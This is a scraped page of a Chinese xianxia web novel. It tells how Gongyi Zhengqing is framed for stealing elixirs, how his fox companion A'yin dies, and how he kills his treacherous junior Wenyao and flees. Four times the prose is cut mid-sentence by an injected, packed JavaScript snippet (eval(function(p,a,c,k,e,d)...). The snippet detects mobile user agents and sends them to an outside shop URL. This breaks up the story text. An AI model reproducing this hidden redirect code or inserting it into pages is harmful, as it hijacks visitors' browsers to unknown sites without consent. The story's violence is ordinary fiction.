公仪正卿挺了挺脊背,一脸坦然地跟随着仙侍走进大殿,正欲开口向高台上的三位长老问安,视线一移,就见地上跪着一人,看背影他还很熟悉,刚想躬身问安的动作僵在了原地。 “朝烨师弟?”公仪正卿略微诧异,怎么也没想到是他。 公仪朝烨比他年纪更小些,在这次参加仙考的弟子中,算是资历尚浅的那一批人了。 朝烨听到他喊自己名字,回头看了一眼,眼中尽是不齿。 为首的善承长老开口道:“公仪朝烨,你将方才在殿上说的话,再说一遍。” “是,长老。” 公仪朝烨行了一礼,坚定道:“昨夜,我在隔壁听到了公仪正卿房内有翻窗出去的声音,心中觉得不对,就去了他房内查看,谁知里面空无一人,只有那扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429876|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗子半掩着。谁知我一看,就看到一个穿着夜行衣的人朝着西南方向飞奔而去!长老,我一路尾随着此人到炼丹房,亲眼看见他偷走了丹药!” 如此明晃晃的栽赃,公仪正卿如何能认?他当场否认:“你胡说,我昨夜根本没去炼丹房!” 公仪朝烨却依旧咄咄逼人:“不是你?那好,你倒是说说,你昨天夜里干什么去了?” “我……” 公仪正卿哑了声。 这该叫他如何说?昨夜,他是跟阿音在那片树林之中,总不能将阿音说出来啊! 公仪朝烨冷笑道:“说不出来了吧?若不是你偷的丹药,还会是谁?” 旁边围观的人都了然道:“是呀,若不是他,大大方方说自己昨天干什么去就好了,现在支支吾吾说不出来,肯定就是他干的!” “就是,说得对!” “诸位,话也不能这样说……” 公仪岚与公仪正卿认识这么久,自然清楚他的为人,听到这些言论,终于还是忍不住开口:“正卿修为极高,本就有机会夺得榜首,何须用得着去偷盗?我知道他是怎样的人,他绝对不会做出这种事情。” 朝烨回头道:“是,他原先是不用,可是大师兄你想想,前几日,是谁和岭师兄一起掉入了抱元门的阵法之中,以至于输掉了射艺考试?我看,大约就是他觉得仙考大约是没指望了,这才选择走了歪路。” “这……” 公仪正卿仰起头,没有理会公仪朝烨的推断,直直对着三位长老俯身下去:“请长老明鉴,我并没有偷盗丹药,此事定然是有人蓄意谋害我!” 善承长老沉声道:“公仪正卿,并非我们不愿信你,你若是坦坦荡荡,又为何说不出来昨夜去了何处呢?” “我……我昨日,并未离开过院落。” 一旁公仪文耀也出言道:“朝烨师弟,此事定然有误会,正卿师兄为人从来都是光明磊落,我们皆知他对这些东西无意,你硬要说他偷盗丹药,他又是从何而来的动机呢?” 公仪朝烨嗤道:“射艺考试前,他曾在众人面前说,这次这个丹药于他有用,我相信不止我一个人听见了吧?至于动机……” 他话锋一转,目光锐利,指着公仪正卿道:“我倒是想先问问公仪正卿,他要这个丹药,究竟是何用途?” “众人皆知这丹药能解百毒、治百伤,还能增进修为,人人对此趋之若鹜,我……自然也不例外。”公仪正卿咬牙艰难道,“若我想要增进自己的修为,又有什么问题?” 朝烨厉声打断他的话:“你说谎!你根本不是想要增进自己的修为!” 听着朝烨斩钉截铁的话,就连公仪正卿也免不得心神恍惚,开始隐隐担心起他知道了什么有关阿音的事情。 善承长老不着痕迹地瞥了一眼公仪正卿的神色,目光沉沉:“公仪朝烨,那你说,他偷盗丹药的动机是什么?” 朝烨道:“善承长老有所不知,在云灵山的时候,我曾经亲眼看见公仪正卿多次下山,与一只野狐私会。他偷盗丹药,是为了给那只野狐脱胎换骨,助它成仙!” 9. 沉冤犹未雪 失约残灵剑(三) 此话一出,满堂的人勃然色变。 对于他们来说,与妖物为伍乃是奇耻大辱,更不用说朝烨口中的“私会”了,若是被人发现,颜面扫地不说,名声也会一落千丈。 玄微霍然起身:“什么?!” 善承长老闻言,眉峰微皱,虽不如玄微那样拍案而起,脸上却也多了几分肃然:“这可不是小事啊,公仪朝烨。” 藏元长老相比起他们就冷静地多了,似乎不觉得这是什么天大的事情,甚至连眼皮都没抬一下,只是淡淡问道:“你有什么证据,证明他与那狐妖私会,还为她偷丹药?” “证据自然是有。” “当初我与他们一起途径尧都城,听闻当地水鬼祸乱之事,原想着在此地休整几日再处理,却没想到公仪正卿夜间一人前去除鬼,等我们在观音庙中找到他的时候,文耀师兄想要杀了那狐妖,可他却护着她不然师兄动手!此事,文耀师兄和我的师弟都可以作证。我本以为离开尧都城后,此事也算了结,却没有想到,这只狐妖竟然跟了过来,在云灵山跟他私会!” 善承长老摆了摆手,示意玄微镇定一些,随即扫了一眼围观众人。 片刻后,他的目光落在一人身上,问道:“公仪文耀,你师弟说的,可有此事?” 公仪文耀沉默良久,低低道:“确有其事。” 听到师兄承认,公仪朝烨便继续说了。 “云灵山中设有结界,那只野狐是上不来的,它想要填饱肚子,也只有山中的野果能够勉强充饥。可我见那野狐被养得毛色鲜亮,油光水滑。跟了几日才发现,原来岭师兄平日里给公仪正卿吃的醋鱼,都被他带给那只野狐吃了。” “哪怕师兄做的醋鱼并不好吃,但是公仪正卿靠醋鱼养一只野狐是没什么问题。岭师兄你也应该知道,前些日子,公仪正卿找你要醋鱼的日子,越来越多了吧?” 城门失火,殃及池鱼。 公仪岭无缘无故被他提了一嘴,说的内容也不甚好听,顿时急了:“你做的鱼才不好吃!” 公仪岚连忙拉住他,两个人细细回忆了一番后,却意识到朝烨说的句句属实。 撇开公仪岭做的醋鱼好不好吃这个问题,公仪正卿这些时日下山的的确频繁了些,问他讨鱼吃的日子也多了些——虽然公仪岭一厢情愿地以为是因为他厨艺精进许多,才会如此。但,他们也不得不承认,这些都是有目共睹的事实。 “再者,”朝烨见他们神色变了,心中更是了然,又多添了几分自信,冷哼道,“我看那只狐狸当真是跟你跟得紧,这不,都跟到抱元门来了。你们俩也真是好大的胆子,竟然都私会到此地来了!” 公仪正卿浑身冰凉。 话都说到这个地步了,阿音的行踪明显已经暴露,恐怕现在已经凶多吉少了。 跪地良久,公仪正卿猛地从地上起身,狠狠揪住了朝烨的衣领:“你怎么会知道她在这里?你把她怎么样了?!” 公仪朝烨对此不闪不避,从容拍开他的手:“我当然知道她在这里。抵达抱元门后没多久,她就在我们院子附近出现,我不过是眼神好,瞧见她罢了。” “至于你说的把她怎么样了……昨夜从炼丹房回来,我便用寻妖罗盘在树林中找到了她,费了些神将她捉回来而已。” “她现在在哪?!” 朝烨回头,对门口冷声道:“还请劳烦仙侍,帮忙把此妖女带上来。” 三化殿外的仙侍早已等候了很久,得命后,立刻将一只方方正正的锁妖笼提进了三化殿内。众人纷纷伸头去看,定睛一瞧,里面果然关了一只半死不活的狐妖。 随后,仙侍毫不客气地把锁妖笼丢在了公仪正卿的面前。 在场之人,没有一个不清楚锁妖笼是什么品阶的法器,这样的法器往往都带着极其强盛的灵力,足以将修为低的小妖灼烧地皮开肉绽,宛如酷刑,要是在里面待的时间久一点,魂飞魄散也是常有的事情。 “你们……你们竟然用锁妖笼关她!” 公仪正卿身形微颤,缓缓抬手,竟有仙法拂过,他轻而易举地解开了锁妖笼上的禁制,里面的狐狸也滚了出来,如死鱼般粘在三化殿的玉石地板上,一大滩妖血也顺着玉石纹路蔓延开来,惹得大殿内众人纷纷掩住口鼻,面带嫌恶地往后退开许多步。 与此同时,众人也能确认了一件事情:公仪正卿这样不管不顾的举动,必然和这只狐妖有私情。 朝烨道:“她是妖,用锁妖笼关她又有什么不对?” 公仪正卿置若罔闻,缓缓伸出手探了探阿音的心脉,便知她只剩下了一口气吊着,眼看着这一口气都要散了,慌乱之下,竟然当着众人的面施法为她渡去仙气,延续性命。 “你、你在做什么?!”朝烨震惊于他的举动,一掌想将他们劈开,却被公仪正卿单手接了下来。 “朝烨,在尧都城的时候我就已经说过,若非她救我一命,恐怕我早就失血过多而死。她从未做过坏事,我不过是为了报恩才在云灵山对她多有照顾。你又为何不愿放她一条生路?!” 对于他的指责,朝烨面不改色:“我何尝没有放她一条生路?当初尧都城你护着她的时候,我们可有对她痛下杀手?还不是睁一只眼闭一只眼就罢了!你若没做出为她偷丹药这样下作的事情,我又何必捅出此事?我真没想到,自己曾经敬仰的师兄竟然做出这种苟且之事,是我错看你了!” 阿音的事情不提,但这偷丹药之事,公仪正卿却是非得说明白不可。 “我没有!我从未偷过仙考丹药!一定是有人诬陷我!”公仪正卿大吼,努力为自己辩白,却只看到周围的人眼神轻蔑,语气中充满不屑。 “还有什么好审的,他能跟狐妖私会,被迷惑了给她盗取丹药也不是什么奇事吧?” “想不到闻名在外的云灵山,竟出了这等丑事,我要是云灵山宗主,早就把他赶下山去了!” 抱元门的三位长老听到底下的人这么说,也觉得这种不光彩的事情在三化殿被捅出来,当真是令抱元门都蒙了羞。 善承长老轻咳了两声,下面围观的人这才渐渐安静。 “此事事关重大,还是需得物证齐全。公仪朝烨,你可知那丹药,现在何处?” 公仪朝烨沉声道:“善承长老,这丹药必定是在公仪正卿的房内,他有没有偷丹药,抱元门的人一搜便知。” 玄微长老道:“那好!来人,去公仪正卿的房内搜,若是寻到了,即刻送到三化殿来!” 三位长老身旁的仙侍领命:“是,长老。” 公仪正卿气极,也立刻明白过来自己是陷入了一个怎样的圈套。 “简直是无中生有!无稽之谈!”他指着公仪朝烨,大吼道,“你若是想构陷于我,把丹药往我房中一放,我自然就百口莫辩!” “我构陷你?我倒想问问,我该如何构陷你!” 公仪朝烨冷眼瞧他:“你晨起便来了三化殿之中。而众人都知,我昨夜抓到野狐后,就立刻去找了三位长老告知此事,根本没有回过房间,你说我将丹药放到你房间构陷你,我又是哪里来的时间?”。 善承长老点头道:“确实如此。公仪正卿,你稍安勿躁,一切等仙侍查完再说。” 公仪正卿跪在殿中,看着锁妖笼中的阿音沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429877|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不语。 两炷香后,去搜查的几位仙侍便回来了。为首的那位仙侍将手中的盘子呈上,说道:“这是从公仪正卿房内搜出来的丹药,还请三位长老过目。” “不、这绝不可能!” 不仅公仪正卿惊声大喊,围观众人也顷刻间跟炸开了锅一样,开始窃窃私语起来。 三位长老扫了一眼盘中,认出正是失窃的丹药,眼中顿时充满失望,痛心道:“云灵山竟出了你这样品行低劣、伤风败俗之人!公仪正卿,你当真是枉费了公仪宗主的教诲!” “公仪正卿偷盗丹药、私通狐妖,证据确凿!来人呐!去云灵山回禀公仪宗主,罚这孽徒一百大板,再去禁闭室面壁思过!” “我没有!我没有偷盗丹药!” 善承长老见他这死不悔改的样子,也终于怒了,拂袖起身:“事到如今,你还冥顽不灵!来人,还不快把他带下去行刑!” 公仪正卿挣扎着推开前来要拖走自己的仙侍,忽然听到旁边有人低声唤自己的名字。 “正卿……” 听到公仪岚的声音,他犹如看见最后一根救命稻草,眼中含泪,摇着头嘶声道:“岚兄,你是相信我的对不对?我真的没有偷他们的丹药啊!” 可即便是公仪岚相信他,其他人却都已经认定了他就是偷走丹药的凶手,没有人听他解释,也没有人相信他的辩驳。 何况,众人都觉得,与偷盗丹药这种事情比起来,与狐妖私通这件事,更加令师门蒙羞与不齿,也难怪这次三位长老罚得重了些。 在行刑处,他被打得皮开肉绽,鲜血淋漓,浑身上下没一处好地。他一昏死过去,施刑的人便立刻冷水浇头,逼得他清醒过来,直到打完那一百大板,仙侍拖着公仪正卿已经毫无知觉的身子,丢进了不见天日的禁闭室,毫不留情地关上了门。 公仪正卿在禁闭室里被关了三日,每日只会送两顿残羹剩饭进来。 直到第三日,送进来的那残羹剩饭上多了一条熟悉的醋鱼,他才勉力爬到门边,颤抖着声音问道:“岭师兄?” “正卿,是我。” 门外传来公仪岚的声音,轻声说道:“阿岭知道他们不会给你准备什么好饭,但膳房每日都有人守着,他只能远远找个条小溪里钓点鱼做给你吃。你再在此待两日,等仙考结束了,我去求他们放你出来,将你带回去。” “多谢……多谢师兄。” 他饿极了,捧着饭碗大口吃起来,还没咽下两口,猛然想起阿音,急忙问道:“岚兄,你可曾见到阿音被关到哪里去了?她……她在何处?” 公仪岚沉默片刻,叹息道:“她迷惑仙门弟子,长辈们是不会放过她的。你被关到这里以后,她已经被长老们下令……处死了。” 公仪正卿面上仅存的血色,在听到公仪岚说的最后三个字后,消失殆尽,支撑了几日的念想也在此刻烟消云散。 “是我……是我害死了她!” 他无力地瘫坐在门边,脸上是斑斑泪痕。 公仪岚犹豫了一会儿,还是开口劝道:“正卿,你……节哀吧。” 公仪正卿强忍泪水,急声道:“岚兄,你告诉我,她现在在哪里?”。 公仪岚叹息道:“现下,她的尸身应该就在禁闭室旁边一件废弃的屋子里。你若是觉得亏欠了她,我会想办法说通爹,帮你带走她的尸身,你回去好好安葬了她就是。仙考还有两日就结束了,两日后,我就来带你回云灵山。” 此地不能逗留多时,公仪岚与他说完后,也便离开了。 只是,他等了两日,没有等来公仪岚,等来的却是公仪文耀。 10. 沉冤犹未雪 失约残灵剑(四) 禁闭室内不分昼夜,他失血过多,昏昏沉沉中难以感知到过了多长时日,只能透过门缝看着外面微弱的光亮了又灭,以此来区分白天黑夜。 不知过了多久,公仪正卿忽而突然听到了门被打开的声音,以为是公仪岚按约定来了,勉强支撑起半个身子,却被强烈的日光照得无法视物,下意识就用手遮了遮眼睛。 公仪正卿依稀看见那人衣摆绣着云灵山的花纹样式,下意识以为是公仪岚来了,急切问道:“岚兄,你可带走阿音了吗?” 那人没有说话,回身掩了掩门,缓缓走到他面前。 公仪正卿听他没出声,又问道:“……岚兄,是你吗?” 那人顿了顿,开口语气冰凉:“师兄,我是公仪文耀。” “文耀?你怎么来了?” 公仪正卿有些疑惑,等那门半掩上,隐隐见阳光微弱了些,放下手定睛一看,来人果真是公仪文耀。 他想着,或许是公仪岚事务繁忙才叫了文耀过来,没有起疑,道:“文耀,是岚兄让你来的吗?” 公仪文耀轻笑一声,点了点头:“算是吧,他去求了宗主,将阿音的尸身带了回来,嘱托我交给你。”说着就从身后拎了个毛茸茸的东西出来丢在地上。 公仪正卿眼见着那东西重重落在地上,连滚带爬就扑上去辨认,刚把狐身翻过来露出面孔,立刻就认出来是这正是阿音的原身。 “阿音!” 公仪文耀看着他抱着狐狸痛不欲生的模样,忽然笑道:“师兄,你还真是厉害啊,师傅喜欢你,公仪岚喜欢你,如今甚至连这只野狐狸都喜欢你……” 公仪正卿一怔:“文耀,你这是何意?” “呵……” 公仪文耀冷哼一声:“公仪岚那日回去后,竟还反反复复说你的品行有多么正直……真是天大的笑话!他们都是一群瞎子罢了。整个云灵山中,只有我知道你是什么样的人!” 他眼中流露出一丝恨意:“你公仪正卿,自命不凡,当真是好生厉害!像你这样的人,可把旁人放在眼里过!” 公仪正卿抬眸,似是不敢相信他会说出这样的话,眼中满是震惊:“云灵山几年同门情分,我视你为亲兄弟,又何曾看不起你?文耀,你莫要妄自揣度。” “从小你就是这般虚伪高傲,我还当你有多么厉害,如今我随便使了一计,不就让你落到这般田地了?” 公仪文耀冷笑一声,猝不及防抬脚就踹向他的胸口,公仪正卿本就虚弱无比,被他这么一踹,直接砸在了墙面上,趴倒在地呕出一口鲜血。 “文耀……你……” 他不敢置信,颤抖着手想爬起来,却被公仪文耀一脚踩上,狠狠在地上碾了碾。 “啊——” 公仪正卿清楚地听到了自己指骨断裂的声音,痛得几欲昏厥,又被公仪文耀狠狠揪住头发强迫他直视自己。 看着他这狼狈模样,公仪文耀勾起笑容:“我?我什么我!” “师兄,想必你肯定很奇怪,那丹药为什么会不见吧?” 公仪文耀嗤笑一声,伸手钳住了他的下颌:“不妨告诉你,那日晚上就是我扮成了你的样子去炼丹房偷的丹药,再趁你睡觉的时候放到了你的房间内。” “我的好师兄,看你在三化殿时候的样子,不会真的以为是公仪朝烨陷害了你吧?” “他那个蠢东西,我不过稍微骗了骗他就当真以为那日看见的人是你,压根不知道是我故意诱他过去,嫁祸给你罢了。” 公仪正卿被他扼住,几乎喘不过气,艰难道:“……什么?!” 公仪文耀偏了偏头,似乎回想起了在三化殿时候的样子,嘻嘻笑道:“他倒还真是好利用得很,眼睛容不得一点沙子,瞧见了你的所作所为,巴巴地就跑去跟长辈告状了……” 公仪正卿瞳孔骤缩,想起身又被狠狠按住,只能抬眼怒视他:“你!你这卑鄙小人!” 公仪文耀蹲下身道:“现在终于知道是我了?看来我的好师兄还是聪明的。” 他从公仪正卿怀中把狐狸拎起,抚摸着狐狸头道:“啧啧啧,这狐狸的模样长得如此貌美,死了还真是可惜了……师兄啊师兄,那你倒是猜猜,阿音他为什么会来抱元门找你呀?” “是你,是你将她引来的?!” “是啊!我见你们在云灵山脚下私会,我可不忍心见你们这样难舍难分啊!”他狠狠呸了一声,继而又是一阵大笑,“于是我就去悄悄告诉她,仙考之时抱元门不会设立结界,结果你猜怎么着?阿音她竟然当真过来了!哈哈哈哈!” “还有呢,我不过在围场随口说了几句你遇难了,故意让偷偷跟来的她听到了,阿音就当真以为你遇到了危险!” “还真是多亏了她引走了你,才方便我行事呢……” “你、你这小人!” 公仪正卿气血攻心,喉头一阵腥甜,又是呕出了许多鲜血,止不住痛骂:“我真心待你,你竟要这样害我!我从前竟是瞎了眼,没看出来你的真面目!” 公仪文耀冷笑道:“呵,你看出来了我的真面目又如何?好好认清现实吧,师兄!现在声名狼藉,被世人唾骂的人是你,不是我!” “你真以为那些长老是因为你偷丹药才这样罚你?我告诉你!他们根本不在意你有没有偷丹药,打你的那一百板子全是因为你跟狐妖私会,有辱仙家盛名、令他们蒙羞罢了!要怪就怪你竟然跟阿音敢私自相会,才会让他们容不下你!” 公仪文耀面露快意,大笑道:“而我,只不过是引朝烨下山,让他‘无意间’看到你们山下私会的场景,再假扮你的样子,骗他去炼丹炉亲眼看着丹药被盗,顺道将你们私会的事情一起捅出来罢了!” 公仪正卿挣扎着想抽回手,企图召出佩剑。公仪文耀又何尝不知道他在想什么?脚下力气也更大了些,不允许他动弹分毫。 他恶狠狠地看着公仪正卿,当着他的面把玩狐尸,温声道:“阿音,你睁开眼睛看看啊?你不是不愿意理睬我吗……你看看你勾引的这人,是他!是他害得你遭此劫难难逃一死!你又是何苦?” 公仪正卿目眦欲裂:“你辱她尸身,还敢说喜欢她!”他想要奋力起身去夺剑,却被公仪文耀抢先一步拿走。 公仪文耀听到这话,当即暴怒:“怎么,难道我的喜欢便是不值一提,连说都不配说出口?!你可还记得当初在观音庙,是我给她买了吃食。她倒是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429878|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惦记着你,未曾记得半分我的好!怎得你觉得,是我活该不配?” 公仪正卿闻言,冷笑一声,闭口不答。 “哼,她不喜欢我又如何,现在不还是在我怀中乖乖待着?”公仪文耀垂眼看着手中的狐狸,满意一笑,“至于你,你连她都护不住,还在这跟我装什么英雄?” 说着,又看见地上的只剩下鱼骨的饭碗和已经空了的药瓶,一脚碾碎。 “就你这样的仙门败类,大师兄竟然还惦记着你,还偷偷给你仙药止血,过来给你送饭吃,他还真是有情有义、可笑至极!” “正巧,他们有事无法脱身,没办法来找你。这样好的机会,我当然得请命过来见一见你了。你以为,他们当真会带你回去?不过是给你一点希望罢了!昨日师父早已回信抱元门,就算带你回去,也不过是换个地方将你继续囚禁。你这样的人,余生就应该在这样的地方度过!” 公仪正卿根本没有理他,左手抬起,额头冷汗直流,口中一遍又一遍地念着控制灵剑的法诀,想要夺回自己的剑。 得了主人的命令,他手中灵剑也瞬间狂震起来,想要摆脱他的控制。 然而,也不知公仪文耀用的是什么办法,死死握着灵剑,不让它挣脱分毫。 “啧,人不听话就算了,连剑也这么不听话。” 公仪文耀看着灵剑上的玉雕纹样,心里泛起一阵嫌恶:“也不知道那老东西到底喜欢你什么,居然如此器重你,还亲手雕了这剑鞘赠与你。” 公仪正卿几欲夺剑不成,气得浑身发抖:“师父悉心教导我们十余年,你怎么敢说这话辱他!简直是丧尽天良、禽兽不如!” 他听道公仪正卿辱骂他,笑得越发张狂:“我辱他又如何?他现在可不知道我如何说他,他只知道他曾经的好徒儿干出这档子事情,令云灵山一门颜面扫地,现在怕是后悔当初收你为徒都来不及呢!” 公仪文耀摩挲着剑身,看着宝剑上的纹样,眼中尽是嫉恨,一伸手把剑抵在他的脖颈间。 那剑的确是一把上好的灵剑,剑尖贴着公仪正卿的喉咙,都不用如何用力,便划开他的皮肉,渗出丝丝血滴。 公仪文耀放声大笑起来:“哈哈哈……好剑,果然是好剑……” 公仪正卿双目赤红,竟是一只手死死握住自己的灵剑,费劲力气不让它割断自己的喉管:“我私会阿音,的确是我的不对,如今落到这般田地,自然是无颜再回云灵山。公仪文耀,我可以退出宗门……但求你不要辱她尸身,也不要辱了师父赠与我的灵剑。” “不愧是我的好师兄啊,事到如今竟还企图同我讲条件,有骨气。” 公仪文耀佯装赞叹了一声,转而叹息道:“只可惜,你怕是以后再也没机会佩剑了呢……” 他说着,手中登时蓄了仙力。 公仪正卿反应过来他打算干什么,瞪大双眼失声阻止:“不要——” 可是已经晚了,公仪文耀是用了十足十的仙力,他手上的灵剑也根本无法承受住这样的仙力。 一声炸响过后,他的剑就断成了几节,“哐当”几声散落在地,而灵剑周身的仙气也渐渐流失,最终黯淡无光,成了一块彻彻底底的废铁。 11. 沉冤犹未雪 失约残灵剑(五) 他们剑修之人,从年幼开始习剑之时,佩剑就随身携带,形影不离。想要完全驾驭一把剑,更是需要长时间的配合磨练,才能渐渐达到人剑合一的境地。 佩剑于他们而言,是与性命一般重要的东西。 可如今,他的佩剑竟然就这么硬生生被公仪文耀折断。 他当真是想断了公仪正卿的剑修之路。 公仪文耀脸上恨意交织,又是踹了他几脚泄愤后,痛快地看着他趴在地上苟延残喘:“按照我的性子,本该一剑了结你,不过师兄们都在等着我将你带回去,要是你死了,我可就没法跟他们交代了……可是,你现在已经知道了真相,若是你回去同他们一说,坏了我的好事该怎么办呢?师兄,这可当真叫我为难啊!” “你还想如何?!”公仪正卿看着地上的断剑痛苦难耐,努力伸着血肉模糊的手,一截一截地将断剑收进剑鞘,低吼道。 公仪文耀看着他这般狼狈捡剑的模样,心中畅快不已。 “依我看,你既然说退出宗门,便拔了你的舌头,将你放出抱元门,再对外称你畏罪潜逃,师兄意下如何?” 他俯下身,在公仪正卿嘴边比划了比划,似乎正在考虑如何拔舌。 公仪正卿恨不得将他千刀万剐、碎尸万段。趁着公仪文耀认真思考的时候,手中紧紧握着半截断剑,微微颤抖。 他五岁便被送上了云灵山修习剑道,十年来受过的教诲皆是锄强扶弱,斩妖除魔。他从未想过有一天,自己的剑竟然会毁在同门师弟上,也从未想过有一天,自己竟然对自己的同门师弟产生了杀心。 他从来没有杀过人。 但是—— 这个人,他该死。 前一秒公仪文耀脸上还挂着得意洋洋的笑,后一秒,胸口就已经被半截断剑扎穿,鲜血喷涌而出,飞溅在公仪正卿的半张脸上。 公仪正卿的视线变得鲜红一片,冷冷看着他从震惊到眼神逐渐涣散,又是发泄般狠狠在他身上捅了好几下,直到面前的人身躯渐渐僵硬,才毫不留情地拔出那截断剑,收回了鞘中。 做完这一切,公仪正卿连眉头都没抬一下,心中是出乎意料的平静,他只觉得可怜了阿音,方才蜷缩在公仪文耀怀中,自己这莽撞的举动,害得她满身都是污浊的血,顺着她的毛发往下淌。 公仪正卿全然不顾自己掌心淋漓的鲜血,将阿音从血泊中抱起,轻轻擦拭了一番她的狐毛,眼神空洞地坐在一片血泊中。良久,他才低低地抽泣起来。 他自由了,可是好像也无处可去了。 离开禁闭室之前,公仪正卿褪下身上代表云灵山的衣物,将地上剩余的断剑尽数拾起收入了剑鞘中,这才抱着阿音一瘸一拐地走出了这个地方。 是阳光。他好久都没见过阳光了。 当日,公仪正卿残杀同门师弟,携狐妖叛逃宗门的事情就传遍了仙门各家。 不少仙门世家都派人到处捉拿公仪正卿,可是谁也不知那日他究竟是如何逃出抱元门,又是如何在世中隐匿了自己的踪迹。 众仙家整整搜寻了三个月,却毫无所获。公仪正卿就好像人间蒸发了一般,此后整整三年都没有出现在世人面前。 “没了?”故事戛然而止,公仪岭见他没有打算继续讲下去,追问道。 萧正卿看了他一眼,沉默良久,还是道:“没了。” 公仪岭提醒道:“你还没说你这三年到底去哪里了。” 萧正卿抿唇避开他的灼灼视线,显然不打算回答公仪岭的这个问题。 当年三化殿中公仪岭见过阿音的狐身,如今略微一猜,就知道在萧正卿旁边的狐妖是她。 最让公仪岭诧异的地方也是这里,他分明记得这狐妖已经死了,现在怎么又死而复生了? 公仪岭侧过头仔仔细细地打量了一番阿音,这么细看下来,他更能确定了,面前这只狐妖正是当年三化殿上他看见的那一只,不会有错。 公仪岭疑惑道:“你不是死了吗?怎么又活过来了?” 这天下哪有什么死而复生的说法?他在云灵山这么多年,也从没听说过有什么法宝能让人死而复生,若是换成招魂夺舍什么的,或许还有些可能。 但是,阿音当时被关在锁妖笼内,早就死得透透的,连魂魄怕是都被灵力灼烧变得残缺不堪了,哪里还能招得来魂魄呢? 难道…… 心中那个念头刚形成,公仪岭就听见大哥在旁边道:“若是我猜得没错,你就是借了御魔幡的力量,将她复活的吧?” 不错,方才他所怀疑的,也正是这个可能。 公仪岭以前没听说过御魔幡还有这样的作用,要是御魔幡真能让妖物起死回生的话,从前身死魂消的妖魔何其之多,偷走它的人究竟是何居心,可想而知。 “御魔幡被盗,是你干的?” 萧正卿鼓了鼓掌,神情轻佻:“不愧是我曾经的师兄。不错,正是御魔幡救了阿音。只不过,你说错了一件事,这东西现在可不在我地方,你们就算杀了我,也拿不回它。” 公仪岭了然:“所以,偷御魔幡的另有其人,只不过你们同流合污而已。反正此事与你脱不了干系,这样吧,你若是不说御魔幡现在在哪,我就将你好不容易复活的阿音杀了,你意下如何?” 他执剑的手更用力了些,剑刃已经划开阿音的脖子,留下一道深深的口子。 “你同他们还有什么话好说!”阿音声音嘶哑,语气愤恨,“他们要是真的在意你的死活,当年为什么没有来?” 她宛如压根察觉不到脖子上的疼痛,一双狐狸眼冷冷地看向公仪岚,咄咄逼人:“是你亲口说的,两日后你带他回去,不还是食言了?你若是真心待他,怎么会将此事托付给旁人!” 萧正卿制止她,平静道:“现在说这些又有何用?早就回不去了。” 公仪岚也没想到,自己当年的无心之失,竟会酿成这样的大祸。 他的确答应了公仪正卿要带走他不假,可谁能想得到,那日云灵山藏书阁突发大火,山中弟子人手不够,他和公仪岭这才被临时叫走帮忙。 如今想来,只怕那场突如其来的火灾,也是公仪文耀的手笔了。 公仪岚解释道:“阿音姑娘,你不要误会。那日公仪文耀说,要替我去将他带回来,我与阿岭有急事赶回云灵山,这才嘱托他前去。” “借口!” 阿音言语讽刺:“你们仙家的人就是虚伪!三年前我手上不曾沾过一条人命,也没见你们放过我。现在我只不过想苟活下去,你们却又想断我生路!” 公仪岭见她冥顽不灵,啧了一声,冷声道:“虚伪?这样也能叫虚伪?当年我们也不知真相,这才被公仪文耀骗了去,害了正卿不假,可平心而论,就算旁人对不住你们,我们两个人可不曾对不起你们。你杀了那么多人,却还大言不惭地说自己苟活,当真可笑!” 阿音嗤笑一声:“对你们仙门世家的人来说,我们这些妖物不管有没有干坏事,都会被毫不留情地抹除!在你们看来,我们就是十恶不赦,不该留存于世。可那些做了坏事的人呢?我们妖何尝不是认为他们作恶多端?” “你们以偏概全,自以为正义,哪里来的立场指责我们!” 听到这狐妖如此义正言辞的指责,公仪岚不悦道:“从前恩怨暂且不说,如今他为了帮你,残杀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429879|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么多百姓,难道不是为了一己私欲?一边说着自己多么凄苦,可那些被你们残杀的百姓,又何尝不是?公仪正卿,我且问你,你在云灵山学的十几年的正道,学到哪里去了!” 听到公仪岚如此指责自己,萧正卿神色骤变,面露恨意。 